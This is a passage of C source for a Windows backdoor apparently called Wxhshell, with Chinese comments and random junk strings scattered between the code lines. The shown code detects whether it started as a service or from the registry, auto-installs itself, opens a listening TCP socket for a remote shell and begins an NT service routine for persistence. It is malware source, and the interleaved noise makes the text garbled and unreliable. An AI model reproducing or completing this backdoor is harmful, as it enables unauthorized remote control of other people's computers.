@Wt>YI NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 03S]8l G,Azm}+ if (!NtQueryInformationProcess) return 0; xbYi. dT1H hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0T5L_%c if(!hProcess) return 0; UH/\ ,f;}|d:r if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2Dj%,gaR :@A9](gI CloseHandle(hProcess); _8UDT^?8, u.Tcg^ v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v^iL5y! if(hProcess==NULL) return 0; yFlm[K5YD 9.B
KI/ HMODULE hMod;
oc0G| char procName[255]; A` o8'+`C unsigned long cbNeeded; PGV/ h qE3UO<FA if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oJ|j#+Ft SPmq4 CloseHandle(hProcess); eb"5-0 Ob&<] if(strstr(procName,"services")) return 1; // 以服务启动 uw+M |02gup qqi return 0; // 注册表启动 i|*)I:SHU } ocS5SB]8 \<TXS)w] // 主模块 I->Ss},U int StartWxhshell(LPSTR lpCmdLine) qfRH5)k { AvV|(K" SOCKET wsl; 'AEE[
BOOL val=TRUE; 56-dD5{hxR int port=0; p/@smke struct sockaddr_in door; dZ0vA\z| s
3f-7f< if(wscfg.ws_autoins) Install(); O]Qd<%V'x 3Xy-r=N. l port=atoi(lpCmdLine); en*GM}<V G`BU=Fi if(port<=0) port=wscfg.ws_port; J B]q iaE^a^* WSADATA data; H{?vbqQ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g0Gf6o>2 YRN06*hS if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; v+#}rUTF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7f!YoW;1 door.sin_family = AF_INET; ^mO~W!" door.sin_addr.s_addr = inet_addr("127.0.0.1"); V"G*N<q door.sin_port = htons(port); WQL\y3f5 S<@7_I if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3!oi +_ closesocket(wsl); dD|OSB7I7 return 1; ^pF&`2eD } QD*35Y!d [dIXR if(listen(wsl,2) == INVALID_SOCKET) { !1 8clL closesocket(wsl); aa#Y=%^ return 1; =sJ7=39 } EZ$>.iy{ Wxhshell(wsl); "~7>\>UFh WSACleanup(); 22M1j5 aYS!xh206 return 0; 2:7zG"$ v)t:|Q{I } OJ5#4qJ[ <;m<8RjX // 以NT服务方式启动 r@t9Ci=} VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mh/dpb\Z { ,*hLFaR- DWORD status = 0; pRIhFf DWORD specificError = 0xfffffff; p=GBUII # *><F' serviceStatus.dwServiceType = SERVICE_WIN32; ?+W9az]+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; VZymM< |